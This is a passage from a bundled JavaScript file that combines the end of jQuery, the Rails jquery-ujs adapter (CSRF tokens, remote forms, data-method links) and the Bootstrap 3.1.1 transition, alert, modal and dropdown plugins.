).remove(); } return jQuery.merge( [], parsed.childNodes ); }; // Keep a copy of the old load method var _load = jQuery.fn.load; /** * Load a url into a page */ jQuery.fn.load = function( url, params, callback ) { if ( typeof url !== "string" && _load ) { return _load.apply( this, arguments ); } var selector, response, type, self = this, off = url.indexOf(" "); if ( off >= 0 ) { selector = jQuery.trim( url.slice( off, url.length ) ); url = url.slice( 0, off ); } // If it's a function if ( jQuery.isFunction( params ) ) { // We assume that it's the callback callback = params; params = undefined; // Otherwise, build a param string } else if ( params && typeof params === "object" ) { type = "POST"; } // If we have elements to modify, make the request if ( self.length > 0 ) { jQuery.ajax({ url: url, // if "type" variable is undefined, then "GET" method will be used type: type, dataType: "html", data: params }).done(function( responseText ) { // Save response for use in complete callback response = arguments; self.html( selector ? // If a selector was specified, locate the right elements in a dummy div // Exclude scripts to avoid IE 'Permission Denied' errors jQuery("<div>").append( jQuery.parseHTML( responseText ) ).find( selector ) : // Otherwise use the full result responseText ); }).complete( callback && function( jqXHR, status ) { self.each( callback, response || [ jqXHR.responseText, status, jqXHR ] ); }); } return this; }; // Attach a bunch of functions for handling common AJAX events jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( i, type ) { jQuery.fn[ type ] = function( fn ) { return this.on( type, fn ); }; }); jQuery.expr.filters.animated = function( elem ) { return jQuery.grep(jQuery.timers, function( fn ) { return elem === fn.elem; }).length; }; var docElem = window.document.documentElement; /** * Gets a window from an element */ function getWindow( elem ) { return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false; } jQuery.offset = { setOffset: function( elem, options, i ) { var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css( elem, "position" ), curElem = jQuery( elem ), props = {}; // set position first, in-case top/left are set even on static elem if ( position === "static" ) { elem.style.position = "relative"; } curOffset = curElem.offset(); curCSSTop = jQuery.css( elem, "top" ); curCSSLeft = jQuery.css( elem, "left" ); calculatePosition = ( position === "absolute" || position === "fixed" ) && jQuery.inArray("auto", [ curCSSTop, curCSSLeft ] ) > -1; // need to be able to calculate position if either top or left is auto and position is either absolute or fixed if ( calculatePosition ) { curPosition = curElem.position(); curTop = curPosition.top; curLeft = curPosition.left; } else { curTop = parseFloat( curCSSTop ) || 0; curLeft = parseFloat( curCSSLeft ) || 0; } if ( jQuery.isFunction( options ) ) { options = options.call( elem, i, curOffset ); } if ( options.top != null ) { props.top = ( options.top - curOffset.top ) + curTop; } if ( options.left != null ) { props.left = ( options.left - curOffset.left ) + curLeft; } if ( "using" in options ) { options.using.call( elem, props ); } else { curElem.css( props ); } } }; jQuery.fn.extend({ offset: function( options ) { if ( arguments.length ) { return options === undefined ? this : this.each(function( i ) { jQuery.offset.setOffset( this, options, i ); }); } var docElem, win, box = { top: 0, left: 0 }, elem = this[ 0 ], doc = elem && elem.ownerDocument; if ( !doc ) { return; } docElem = doc.documentElement; // Make sure it's not a disconnected DOM node if ( !jQuery.contains( docElem, elem ) ) { return box; } // If we don't have gBCR, just use 0,0 rather than error // BlackBerry 5, iOS 3 (original iPhone) if ( typeof elem.getBoundingClientRect !== strundefined ) { box = elem.getBoundingClientRect(); } win = getWindow( doc ); return { top: box.top + ( win.pageYOffset || docElem.scrollTop ) - ( docElem.clientTop || 0 ), left: box.left + ( win.pageXOffset || docElem.scrollLeft ) - ( docElem.clientLeft || 0 ) }; }, position: function() { if ( !this[ 0 ] ) { return; } var offsetParent, offset, parentOffset = { top: 0, left: 0 }, elem = this[ 0 ]; // fixed elements are offset from window (parentOffset = {top:0, left: 0}, because it is its only offset parent if ( jQuery.css( elem, "position" ) === "fixed" ) { // we assume that getBoundingClientRect is available when computed position is fixed offset = elem.getBoundingClientRect(); } else { // Get *real* offsetParent offsetParent = this.offsetParent(); // Get correct offsets offset = this.offset(); if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) { parentOffset = offsetParent.offset(); } // Add offsetParent borders parentOffset.top += jQuery.css( offsetParent[ 0 ], "borderTopWidth", true ); parentOffset.left += jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true ); } // Subtract parent offsets and element margins // note: when an element has margin: auto the offsetLeft and marginLeft // are the same in Safari causing offset.left to incorrectly be 0 return { top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ), left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true) }; }, offsetParent: function() { return this.map(function() { var offsetParent = this.offsetParent || docElem; while ( offsetParent && ( !jQuery.nodeName( offsetParent, "html" ) && jQuery.css( offsetParent, "position" ) === "static" ) ) { offsetParent = offsetParent.offsetParent; } return offsetParent || docElem; }); } }); // Create scrollLeft and scrollTop methods jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) { var top = /Y/.test( prop ); jQuery.fn[ method ] = function( val ) { return access( this, function( elem, method, val ) { var win = getWindow( elem ); if ( val === undefined ) { return win ? (prop in win) ? win[ prop ] : win.document.documentElement[ method ] : elem[ method ]; } if ( win ) { win.scrollTo( !top ? val : jQuery( win ).scrollLeft(), top ? val : jQuery( win ).scrollTop() ); } else { elem[ method ] = val; } }, method, val, arguments.length, null ); }; }); // Add the top/left cssHooks using jQuery.fn.position // Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084 // getComputedStyle returns percent when specified for top/left/bottom/right // rather than make the css module depend on the offset module, we just check for it here jQuery.each( [ "top", "left" ], function( i, prop ) { jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition, function( elem, computed ) { if ( computed ) { computed = curCSS( elem, prop ); // if curCSS returns percentage, fallback to offset return rnumnonpx.test( computed ) ? jQuery( elem ).position()[ prop ] + "px" : computed; } } ); }); // Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods jQuery.each( { Height: "height", Width: "width" }, function( name, type ) { jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) { // margin is only for outerHeight, outerWidth jQuery.fn[ funcName ] = function( margin, value ) { var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ), extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" ); return access( this, function( elem, type, value ) { var doc; if ( jQuery.isWindow( elem ) ) { // As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there // isn't a whole lot we can do. See pull request at this URL for discussion: // https://github.com/jquery/jquery/pull/764 return elem.document.documentElement[ "client" + name ]; } // Get document width or height if ( elem.nodeType === 9 ) { doc = elem.documentElement; // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], whichever is greatest // unfortunately, this causes bug #3838 in IE6/8 only, but there is currently no good, small way to fix it. return Math.max( elem.body[ "scroll" + name ], doc[ "scroll" + name ], elem.body[ "offset" + name ], doc[ "offset" + name ], doc[ "client" + name ] ); } return value === undefined ? // Get width or height on the element, requesting but not forcing parseFloat jQuery.css( elem, type, extra ) : // Set width or height on the element jQuery.style( elem, type, value, extra ); }, type, chainable ? margin : undefined, chainable, null ); }; }); }); // The number of elements contained in the matched element set jQuery.fn.size = function() { return this.length; }; jQuery.fn.andSelf = jQuery.fn.addBack; // Register as a named AMD module, since jQuery can be concatenated with other // files that may use define, but not via a proper concatenation script that // understands anonymous AMD modules. A named AMD is safest and most robust // way to register. Lowercase jquery is used because AMD module names are // derived from file names, and jQuery is normally delivered in a lowercase // file name. Do this after creating the global so that if an AMD module wants // to call noConflict to hide this version of jQuery, it will work. // Note that for maximum portability, libraries that are not jQuery should // declare themselves as anonymous modules, and avoid setting a global if an // AMD loader is present. jQuery is a special case. For more information, see // https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon if ( typeof define === "function" && define.amd ) { define( "jquery", [], function() { return jQuery; }); } var // Map over jQuery in case of overwrite _jQuery = window.jQuery, // Map over the $ in case of overwrite _$ = window.$; jQuery.noConflict = function( deep ) { if ( window.$ === jQuery ) { window.$ = _$; } if ( deep && window.jQuery === jQuery ) { window.jQuery = _jQuery; } return jQuery; }; // Expose jQuery and $ identifiers, even in // AMD (#7102#comment:10, https://github.com/jquery/jquery/pull/557) // and CommonJS for browser emulators (#13566) if ( typeof noGlobal === strundefined ) { window.jQuery = window.$ = jQuery; } return jQuery; })); (function($, undefined) { /** * Unobtrusive scripting adapter for jQuery * https://github.com/rails/jquery-ujs * * Requires jQuery 1.8.0 or later. * * Released under the MIT license * */ // Cut down on the number of issues from people inadvertently including jquery_ujs twice // by detecting and raising an error when it happens. if ( $.rails !== undefined ) { $.error('jquery-ujs has already been loaded!'); } // Shorthand to make it a little easier to call public rails functions from within rails.js var rails; var $document = $(document); $.rails = rails = { // Link elements bound by jquery-ujs linkClickSelector: 'a[data-confirm], a[data-method], a[data-remote], a[data-disable-with], a[data-disable]', // Button elements bound by jquery-ujs buttonClickSelector: 'button[data-remote]:not(form button), button[data-confirm]:not(form button)', // Select elements bound by jquery-ujs inputChangeSelector: 'select[data-remote], input[data-remote], textarea[data-remote]', // Form elements bound by jquery-ujs formSubmitSelector: 'form', // Form input elements bound by jquery-ujs formInputClickSelector: 'form input[type=submit], form input[type=image], form button[type=submit], form button:not([type]), input[type=submit][form], input[type=image][form], button[type=submit][form], button[form]:not([type])', // Form input elements disabled during form submission disableSelector: 'input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled', // Form input elements re-enabled after form submission enableSelector: 'input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled', // Form required input elements requiredInputSelector: 'input[name][required]:not([disabled]),textarea[name][required]:not([disabled])', // Form file input elements fileInputSelector: 'input[type=file]', // Link onClick disable selector with possible reenable after remote submission linkDisableSelector: 'a[data-disable-with], a[data-disable]', // Button onClick disable selector with possible reenable after remote submission buttonDisableSelector: 'button[data-remote][data-disable-with], button[data-remote][data-disable]', // Make sure that every Ajax request sends the CSRF token CSRFProtection: function(xhr) { var token = $('meta[name="csrf-token"]').attr('content'); if (token) xhr.setRequestHeader('X-CSRF-Token', token); }, // making sure that all forms have actual up-to-date token(cached forms contain old one) refreshCSRFTokens: function(){ var csrfToken = $('meta[name=csrf-token]').attr('content'); var csrfParam = $('meta[name=csrf-param]').attr('content'); $('form input[name="' + csrfParam + '"]').val(csrfToken); }, // Triggers an event on an element and returns false if the event result is false fire: function(obj, name, data) { var event = $.Event(name); obj.trigger(event, data); return event.result !== false; }, // Default confirm dialog, may be overridden with custom confirm dialog in $.rails.confirm confirm: function(message) { return confirm(message); }, // Default ajax function, may be overridden with custom function in $.rails.ajax ajax: function(options) { return $.ajax(options); }, // Default way to get an element's href. May be overridden at $.rails.href. href: function(element) { return element.attr('href'); }, // Submits "remote" forms and links with ajax handleRemote: function(element) { var method, url, data, elCrossDomain, crossDomain, withCredentials, dataType, options; if (rails.fire(element, 'ajax:before')) { elCrossDomain = element.data('cross-domain'); crossDomain = elCrossDomain === undefined ? null : elCrossDomain; withCredentials = element.data('with-credentials') || null; dataType = element.data('type') || ($.ajaxSettings && $.ajaxSettings.dataType); if (element.is('form')) { method = element.attr('method'); url = element.attr('action'); data = element.serializeArray(); // memoized value from clicked submit button var button = element.data('ujs:submit-button'); if (button) { data.push(button); element.data('ujs:submit-button', null); } } else if (element.is(rails.inputChangeSelector)) { method = element.data('method'); url = element.data('url'); data = element.serialize(); if (element.data('params')) data = data + "&" + element.data('params'); } else if (element.is(rails.buttonClickSelector)) { method = element.data('method') || 'get'; url = element.data('url'); data = element.serialize(); if (element.data('params')) data = data + "&" + element.data('params'); } else { method = element.data('method'); url = rails.href(element); data = element.data('params') || null; } options = { type: method || 'GET', data: data, dataType: dataType, // stopping the "ajax:beforeSend" event will cancel the ajax request beforeSend: function(xhr, settings) { if (settings.dataType === undefined) { xhr.setRequestHeader('accept', '*/*;q=0.5, ' + settings.accepts.script); } if (rails.fire(element, 'ajax:beforeSend', [xhr, settings])) { element.trigger('ajax:send', xhr); } else { return false; } }, success: function(data, status, xhr) { element.trigger('ajax:success', [data, status, xhr]); }, complete: function(xhr, status) { element.trigger('ajax:complete', [xhr, status]); }, error: function(xhr, status, error) { element.trigger('ajax:error', [xhr, status, error]); }, crossDomain: crossDomain }; // There is no withCredentials for IE6-8 when // "Enable native XMLHTTP support" is disabled if (withCredentials) { options.xhrFields = { withCredentials: withCredentials }; } // Only pass url to `ajax` options if not blank if (url) { options.url = url; } return rails.ajax(options); } else { return false; } }, // Handles "data-method" on links such as: // <a href="/users/5" data-method="delete" rel="nofollow" data-confirm="Are you sure?">Delete</a> handleMethod: function(link) { var href = rails.href(link), method = link.data('method'), target = link.attr('target'), csrfToken = $('meta[name=csrf-token]').attr('content'), csrfParam = $('meta[name=csrf-param]').attr('content'), form = $('<form method="post" action="' + href + '"></form>'), metadataInput = '<input name="_method" value="' + method + '" type="hidden" />'; if (csrfParam !== undefined && csrfToken !== undefined) { metadataInput += '<input name="' + csrfParam + '" value="' + csrfToken + '" type="hidden" />'; } if (target) { form.attr('target', target); } form.hide().append(metadataInput).appendTo('body'); form.submit(); }, // Helper function that returns form elements that match the specified CSS selector // If form is actually a "form" element this will return associated elements outside the from that have // the html form attribute set formElements: function(form, selector) { return form.is('form') ? $(form[0].elements).filter(selector) : form.find(selector); }, /* Disables form elements: - Caches element value in 'ujs:enable-with' data store - Replaces element text with value of 'data-disable-with' attribute - Sets disabled property to true */ disableFormElements: function(form) { rails.formElements(form, rails.disableSelector).each(function() { rails.disableFormElement($(this)); }); }, disableFormElement: function(element) { var method, replacement; method = element.is('button') ? 'html' : 'val'; replacement = element.data('disable-with'); element.data('ujs:enable-with', element[method]()); if (replacement !== undefined) { element[method](replacement); } element.prop('disabled', true); }, /* Re-enables disabled form elements: - Replaces element text with cached value from 'ujs:enable-with' data store (created in `disableFormElements`) - Sets disabled property to false */ enableFormElements: function(form) { rails.formElements(form, rails.enableSelector).each(function() { rails.enableFormElement($(this)); }); }, enableFormElement: function(element) { var method = element.is('button') ? 'html' : 'val'; if (element.data('ujs:enable-with')) element[method](element.data('ujs:enable-with')); element.prop('disabled', false); }, /* For 'data-confirm' attribute: - Fires `confirm` event - Shows the confirmation dialog - Fires the `confirm:complete` event Returns `true` if no function stops the chain and user chose yes; `false` otherwise. Attaching a handler to the element's `confirm` event that returns a `falsy` value cancels the confirmation dialog. Attaching a handler to the element's `confirm:complete` event that returns a `falsy` value makes this function return false. The `confirm:complete` event is fired whether or not the user answered true or false to the dialog. */ allowAction: function(element) { var message = element.data('confirm'), answer = false, callback; if (!message) { return true; } if (rails.fire(element, 'confirm')) { answer = rails.confirm(message); callback = rails.fire(element, 'confirm:complete', [answer]); } return answer && callback; }, // Helper function which checks for blank inputs in a form that match the specified CSS selector blankInputs: function(form, specifiedSelector, nonBlank) { var inputs = $(), input, valueToCheck, selector = specifiedSelector || 'input,textarea', allInputs = form.find(selector); allInputs.each(function() { input = $(this); valueToCheck = input.is('input[type=checkbox],input[type=radio]') ? input.is(':checked') : input.val(); // If nonBlank and valueToCheck are both truthy, or nonBlank and valueToCheck are both falsey if (!valueToCheck === !nonBlank) { // Don't count unchecked required radio if other radio with same name is checked if (input.is('input[type=radio]') && allInputs.filter('input[type=radio]:checked[name="' + input.attr('name') + '"]').length) { return true; // Skip to next input } inputs = inputs.add(input); } }); return inputs.length ? inputs : false; }, // Helper function which checks for non-blank inputs in a form that match the specified CSS selector nonBlankInputs: function(form, specifiedSelector) { return rails.blankInputs(form, specifiedSelector, true); // true specifies nonBlank }, // Helper function, needed to provide consistent behavior in IE stopEverything: function(e) { $(e.target).trigger('ujs:everythingStopped'); e.stopImmediatePropagation(); return false; }, // replace element's html with the 'data-disable-with' after storing original html // and prevent clicking on it disableElement: function(element) { var replacement = element.data('disable-with'); element.data('ujs:enable-with', element.html()); // store enabled state if (replacement !== undefined) { element.html(replacement); } element.bind('click.railsDisable', function(e) { // prevent further clicking return rails.stopEverything(e); }); }, // restore element to its original state which was disabled by 'disableElement' above enableElement: function(element) { if (element.data('ujs:enable-with') !== undefined) { element.html(element.data('ujs:enable-with')); // set to old enabled state element.removeData('ujs:enable-with'); // clean up cache } element.unbind('click.railsDisable'); // enable element } }; if (rails.fire($document, 'rails:attachBindings')) { $.ajaxPrefilter(function(options, originalOptions, xhr){ if ( !options.crossDomain ) { rails.CSRFProtection(xhr); }}); // This event works the same as the load event, except that it fires every // time the page is loaded. // // See https://github.com/rails/jquery-ujs/issues/357 // See https://developer.mozilla.org/en-US/docs/Using_Firefox_1.5_caching $(window).on("pageshow.rails", function () { $($.rails.enableSelector).each(function () { var element = $(this); if (element.data("ujs:enable-with")) { $.rails.enableFormElement(element); } }); $($.rails.linkDisableSelector).each(function () { var element = $(this); if (element.data("ujs:enable-with")) { $.rails.enableElement(element); } }); }); $document.delegate(rails.linkDisableSelector, 'ajax:complete', function() { rails.enableElement($(this)); }); $document.delegate(rails.buttonDisableSelector, 'ajax:complete', function() { rails.enableFormElement($(this)); }); $document.delegate(rails.linkClickSelector, 'click.rails', function(e) { var link = $(this), method = link.data('method'), data = link.data('params'), metaClick = e.metaKey || e.ctrlKey; if (!rails.allowAction(link)) return rails.stopEverything(e); if (!metaClick && link.is(rails.linkDisableSelector)) rails.disableElement(link); if (link.data('remote') !== undefined) { if (metaClick && (!method || method === 'GET') && !data) { return true; } var handleRemote = rails.handleRemote(link); // response from rails.handleRemote() will either be false or a deferred object promise. if (handleRemote === false) { rails.enableElement(link); } else { handleRemote.fail( function() { rails.enableElement(link); } ); } return false; } else if (method) { rails.handleMethod(link); return false; } }); $document.delegate(rails.buttonClickSelector, 'click.rails', function(e) { var button = $(this); if (!rails.allowAction(button)) return rails.stopEverything(e); if (button.is(rails.buttonDisableSelector)) rails.disableFormElement(button); var handleRemote = rails.handleRemote(button); // response from rails.handleRemote() will either be false or a deferred object promise. if (handleRemote === false) { rails.enableFormElement(button); } else { handleRemote.fail( function() { rails.enableFormElement(button); } ); } return false; }); $document.delegate(rails.inputChangeSelector, 'change.rails', function(e) { var link = $(this); if (!rails.allowAction(link)) return rails.stopEverything(e); rails.handleRemote(link); return false; }); $document.delegate(rails.formSubmitSelector, 'submit.rails', function(e) { var form = $(this), remote = form.data('remote') !== undefined, blankRequiredInputs, nonBlankFileInputs; if (!rails.allowAction(form)) return rails.stopEverything(e); // skip other logic when required values are missing or file upload is present if (form.attr('novalidate') == undefined) { blankRequiredInputs = rails.blankInputs(form, rails.requiredInputSelector); if (blankRequiredInputs && rails.fire(form, 'ajax:aborted:required', [blankRequiredInputs])) { return rails.stopEverything(e); } } if (remote) { nonBlankFileInputs = rails.nonBlankInputs(form, rails.fileInputSelector); if (nonBlankFileInputs) { // slight timeout so that the submit button gets properly serialized // (make it easy for event handler to serialize form without disabled values) setTimeout(function(){ rails.disableFormElements(form); }, 13); var aborted = rails.fire(form, 'ajax:aborted:file', [nonBlankFileInputs]); // re-enable form elements if event bindings return false (canceling normal form submission) if (!aborted) { setTimeout(function(){ rails.enableFormElements(form); }, 13); } return aborted; } rails.handleRemote(form); return false; } else { // slight timeout so that the submit button gets properly serialized setTimeout(function(){ rails.disableFormElements(form); }, 13); } }); $document.delegate(rails.formInputClickSelector, 'click.rails', function(event) { var button = $(this); if (!rails.allowAction(button)) return rails.stopEverything(event); // register the pressed submit button var name = button.attr('name'), data = name ? {name:name, value:button.val()} : null; button.closest('form').data('ujs:submit-button', data); }); $document.delegate(rails.formSubmitSelector, 'ajax:send.rails', function(event) { if (this == event.target) rails.disableFormElements($(this)); }); $document.delegate(rails.formSubmitSelector, 'ajax:complete.rails', function(event) { if (this == event.target) rails.enableFormElements($(this)); }); $(function(){ rails.refreshCSRFTokens(); }); } })( jQuery ); /* ======================================================================== * Bootstrap: transition.js v3.1.1 * http://getbootstrap.com/javascript/#transitions * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/) // ============================================================ function transitionEnd() { var el = document.createElement('bootstrap') var transEndEventNames = { 'WebkitTransition' : 'webkitTransitionEnd', 'MozTransition' : 'transitionend', 'OTransition' : 'oTransitionEnd otransitionend', 'transition' : 'transitionend' } for (var name in transEndEventNames) { if (el.style[name] !== undefined) { return { end: transEndEventNames[name] } } } return false // explicit for ie8 ( ._.) } // http://blog.alexmaccaw.com/css-transitions $.fn.emulateTransitionEnd = function (duration) { var called = false, $el = this $(this).one($.support.transition.end, function () { called = true }) var callback = function () { if (!called) $($el).trigger($.support.transition.end) } setTimeout(callback, duration) return this } $(function () { $.support.transition = transitionEnd() }) }(jQuery); /* ======================================================================== * Bootstrap: alert.js v3.1.1 * http://getbootstrap.com/javascript/#alerts * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // ALERT CLASS DEFINITION // ====================== var dismiss = '[data-dismiss="alert"]' var Alert = function (el) { $(el).on('click', dismiss, this.close) } Alert.prototype.close = function (e) { var $this = $(this) var selector = $this.attr('data-target') if (!selector) { selector = $this.attr('href') selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } var $parent = $(selector) if (e) e.preventDefault() if (!$parent.length) { $parent = $this.hasClass('alert') ? $this : $this.parent() } $parent.trigger(e = $.Event('close.bs.alert')) if (e.isDefaultPrevented()) return $parent.removeClass('in') function removeElement() { $parent.trigger('closed.bs.alert').remove() } $.support.transition && $parent.hasClass('fade') ? $parent .one($.support.transition.end, removeElement) .emulateTransitionEnd(150) : removeElement() } // ALERT PLUGIN DEFINITION // ======================= var old = $.fn.alert $.fn.alert = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.alert') if (!data) $this.data('bs.alert', (data = new Alert(this))) if (typeof option == 'string') data[option].call($this) }) } $.fn.alert.Constructor = Alert // ALERT NO CONFLICT // ================= $.fn.alert.noConflict = function () { $.fn.alert = old return this } // ALERT DATA-API // ============== $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close) }(jQuery); /* ======================================================================== * Bootstrap: modal.js v3.1.1 * http://getbootstrap.com/javascript/#modals * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // MODAL CLASS DEFINITION // ====================== var Modal = function (element, options) { this.options = options this.$element = $(element) this.$backdrop = this.isShown = null if (this.options.remote) { this.$element .find('.modal-content') .load(this.options.remote, $.proxy(function () { this.$element.trigger('loaded.bs.modal') }, this)) } } Modal.DEFAULTS = { backdrop: true, keyboard: true, show: true } Modal.prototype.toggle = function (_relatedTarget) { return this[!this.isShown ? 'show' : 'hide'](_relatedTarget) } Modal.prototype.show = function (_relatedTarget) { var that = this var e = $.Event('show.bs.modal', { relatedTarget: _relatedTarget }) this.$element.trigger(e) if (this.isShown || e.isDefaultPrevented()) return this.isShown = true this.escape() this.$element.on('click.dismiss.bs.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this)) this.backdrop(function () { var transition = $.support.transition && that.$element.hasClass('fade') if (!that.$element.parent().length) { that.$element.appendTo(document.body) // don't move modals dom position } that.$element .show() .scrollTop(0) if (transition) { that.$element[0].offsetWidth // force reflow } that.$element .addClass('in') .attr('aria-hidden', false) that.enforceFocus() var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget }) transition ? that.$element.find('.modal-dialog') // wait for modal to slide in .one($.support.transition.end, function () { that.$element.focus().trigger(e) }) .emulateTransitionEnd(300) : that.$element.focus().trigger(e) }) } Modal.prototype.hide = function (e) { if (e) e.preventDefault() e = $.Event('hide.bs.modal') this.$element.trigger(e) if (!this.isShown || e.isDefaultPrevented()) return this.isShown = false this.escape() $(document).off('focusin.bs.modal') this.$element .removeClass('in') .attr('aria-hidden', true) .off('click.dismiss.bs.modal') $.support.transition && this.$element.hasClass('fade') ? this.$element .one($.support.transition.end, $.proxy(this.hideModal, this)) .emulateTransitionEnd(300) : this.hideModal() } Modal.prototype.enforceFocus = function () { $(document) .off('focusin.bs.modal') // guard against infinite focus loop .on('focusin.bs.modal', $.proxy(function (e) { if (this.$element[0] !== e.target && !this.$element.has(e.target).length) { this.$element.focus() } }, this)) } Modal.prototype.escape = function () { if (this.isShown && this.options.keyboard) { this.$element.on('keyup.dismiss.bs.modal', $.proxy(function (e) { e.which == 27 && this.hide() }, this)) } else if (!this.isShown) { this.$element.off('keyup.dismiss.bs.modal') } } Modal.prototype.hideModal = function () { var that = this this.$element.hide() this.backdrop(function () { that.removeBackdrop() that.$element.trigger('hidden.bs.modal') }) } Modal.prototype.removeBackdrop = function () { this.$backdrop && this.$backdrop.remove() this.$backdrop = null } Modal.prototype.backdrop = function (callback) { var animate = this.$element.hasClass('fade') ? 'fade' : '' if (this.isShown && this.options.backdrop) { var doAnimate = $.support.transition && animate this.$backdrop = $('<div class="modal-backdrop ' + animate + '" />') .appendTo(document.body) this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) { if (e.target !== e.currentTarget) return this.options.backdrop == 'static' ? this.$element[0].focus.call(this.$element[0]) : this.hide.call(this) }, this)) if (doAnimate) this.$backdrop[0].offsetWidth // force reflow this.$backdrop.addClass('in') if (!callback) return doAnimate ? this.$backdrop .one($.support.transition.end, callback) .emulateTransitionEnd(150) : callback() } else if (!this.isShown && this.$backdrop) { this.$backdrop.removeClass('in') $.support.transition && this.$element.hasClass('fade') ? this.$backdrop .one($.support.transition.end, callback) .emulateTransitionEnd(150) : callback() } else if (callback) { callback() } } // MODAL PLUGIN DEFINITION // ======================= var old = $.fn.modal $.fn.modal = function (option, _relatedTarget) { return this.each(function () { var $this = $(this) var data = $this.data('bs.modal') var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data) $this.data('bs.modal', (data = new Modal(this, options))) if (typeof option == 'string') data[option](_relatedTarget) else if (options.show) data.show(_relatedTarget) }) } $.fn.modal.Constructor = Modal // MODAL NO CONFLICT // ================= $.fn.modal.noConflict = function () { $.fn.modal = old return this } // MODAL DATA-API // ============== $(document).on('click.bs.modal.data-api', '[data-toggle="modal"]', function (e) { var $this = $(this) var href = $this.attr('href') var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) //strip for ie7 var option = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data()) if ($this.is('a')) e.preventDefault() $target .modal(option, this) .one('hide', function () { $this.is(':visible') && $this.focus() }) }) $(document) .on('show.bs.modal', '.modal', function () { $(document.body).addClass('modal-open') }) .on('hidden.bs.modal', '.modal', function () { $(document.body).removeClass('modal-open') }) }(jQuery); /* ======================================================================== * Bootstrap: dropdown.js v3.1.1 * http://getbootstrap.com/javascript/#dropdowns * ======================================================================== * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // DROPDOWN CLASS DEFINITION // ========================= var backdrop = '.dropdown-backdrop' var toggle = '[data-toggle=dropdown]' var Dropdown = function (element) { $(element).on('click.bs.dropdown', this.toggle) } Dropdown.prototype.toggle = function (e) { var $this = $(this) if ($this.is('.disabled, :disabled')) return var $parent = getParent($this) var isActive = $parent.hasClass('open') clearMenus() if (!isActive) { if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) { // if mobile we use a backdrop because click events don't delegate $('<div class="dropdown-backdrop"/>').insertAfter($(this)).on('click', clearMenus) } var relatedTarget = { relatedTarget: this } $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget)) if (e.isDefaultPrevented()) return $parent .toggleClass('open') .trigger('shown.bs.dropdown', relatedTarget) $this.focus() } return false } Dropdown.prototype.keydown = function (e) { if (!/(38|40|27)/.test(e.keyCode)) return var $this = $(this) e.preventDefault() e.stopPropagation() if ($this.is('.disabled, :disabled')) return var $parent = getParent($this) var isActive = $parent.hasClass('open') if (!isActive || (isActive && e.keyCode == 27)) { if (e.which == 27) $parent.find(toggle).focus() return $this.click() } var desc = ' li:not(.divider):visible a' var $items = $parent.find('[role=menu]' + desc + ', [role=listbox]' + desc) if (!$items.length) return var index = $items.index($items.filter(':focus')) if (e.keyCode == 38 && index > 0) index-- // up if (e.keyCode == 40 && index < $items.length - 1) index++ // down if (!~index) index = 0 $items.eq(index).focus() } function clearMenus(e) { $(backdrop).remove() $(toggle).each(function () { var $parent = getParent($(this)) var relatedTarget = { relatedTarget: this } if (!$parent.hasClass('open')) return $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget)) if (e.isDefaultPrevented()) return $parent.removeClass('open').trigger('hidden.bs.dropdown', relatedTarget) }) } function getParent($this) { var selector = $this.attr('data-target') if (!selector) { selector = $this.attr('href') selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') //strip for ie7 } var $parent = selector && $(selector) return $parent && $parent.length ? $parent : $this.parent() } // DROPDOWN PLUGIN DEFINITION // ========================== var old = $.fn.dropdown $.fn.dropdown = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.dropdown') if (!data) $this.data('bs.dropdown', (data = new Dropdown(this))) if (typeof option == 'string') data[option].call($this) }) } $.fn.dropdown.Constructor = Dropdown // DROPDOWN NO CONFLICT // ==================== $.fn.dropdown.noConflict = function () { $.fn.dropdown = old return this } // APPLY TO STANDARD DROPDOWN ELEMENTS // =================================== $(document) 